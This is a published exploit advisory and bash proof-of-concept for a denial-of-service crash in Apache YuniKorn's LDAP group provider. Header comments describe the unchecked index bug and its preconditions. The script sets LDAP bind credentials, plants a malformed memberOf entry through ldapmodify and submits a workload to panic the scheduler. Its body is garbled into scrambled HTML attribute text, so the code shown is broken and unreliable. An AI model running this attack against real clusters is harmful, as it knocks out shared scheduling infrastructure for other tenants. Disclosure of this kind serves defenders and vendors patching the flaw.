Apache YuniKorn 1.9.0 LDAP Group Provider Panic Denial of Service

<html><body><p>#!/usr/bin/env bash
#
#
# Apache YuniKorn 1.9.0 LDAP Group Provider Panic Denial of Service
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://yunikorn.apache.org
# Affected version: 1.9.0 and 1.8.0
# Fixed version: 1.10.0
#
# Summary: Apache YuniKorn is a light-weight, universal resource scheduler
# for container orchestrator systems. It is created to achieve fine-grained
# resource sharing for various workloads efficiently on a large scale, multi-tenant,
# and cloud-native environment. YuniKorn brings a unified, cross-platform,
# scheduling experience for mixed workloads that consist of stateless batch
# workloads and stateful services.
#
# Desc: Apache YuniKorn's LDAP user/group resolver crashes (panics) when parsing
# an LDAP 'memberOf' attribute whose value does not contain the substring "CN=".
# In usergroup_ldap_resolver.go the group name is extracted with strings.Split(s[0],
# "CN=") followed by an unchecked access to newgroup[1]; when the split yields a
# single-element slice (any memberOf value lacking "CN="), the index-out-of-range
# access raises a runtime panic and terminates the resolver.
#
# Triggering the issue requires a non-default deployment (the LDAP group provider
# configured, with an LDAP server that returns lower-case attribute names or a
# non-standard schema) and an attacker with permission to run a workload on the
# Kubernetes cluster whose pod specifies a user for which the LDAP server returns
# such a memberOf entry.
#
# Tested on: Kali Linux
#            Go 1.27.0
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-6016
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6016
#
#
# 13.08.2026
#


set -u

LDAP_URI="ldap://127.0.0.1:389"
BIND_DN="cn=admin,dc=example,dc=com"
BIND_PW="admin"
USER_DN="uid=thricer,ou=people,dc=example,dc=com"
USER="thricer"
YK_NS="yunikorn"

# LDAP group provider should be enabled.
cat &gt; poison-memberof.ldif &lt;<eof ...="" app="yunikorn" changetype:="" dn:="" echo="" eof="" error:="" exit="" for="" get="" goroutine="" has="" index="" kubectl="" ldapmodify="" length="" loaded="" logs="" main.main="" main.parsegroups="" memberof="" memberof:="" modify="" no="" of="" ou="staff,dc=example,dc=com" out="" panic:="" pods="" poison-memberof.ldif="" poisoned="" range="" replace:="" run="" runtime="" scheduler...="" sleep="" status="" submitting="" the="" to="" with="" workload="" wrote="" yk-dos="" yunikorn=""></eof></p></body></html>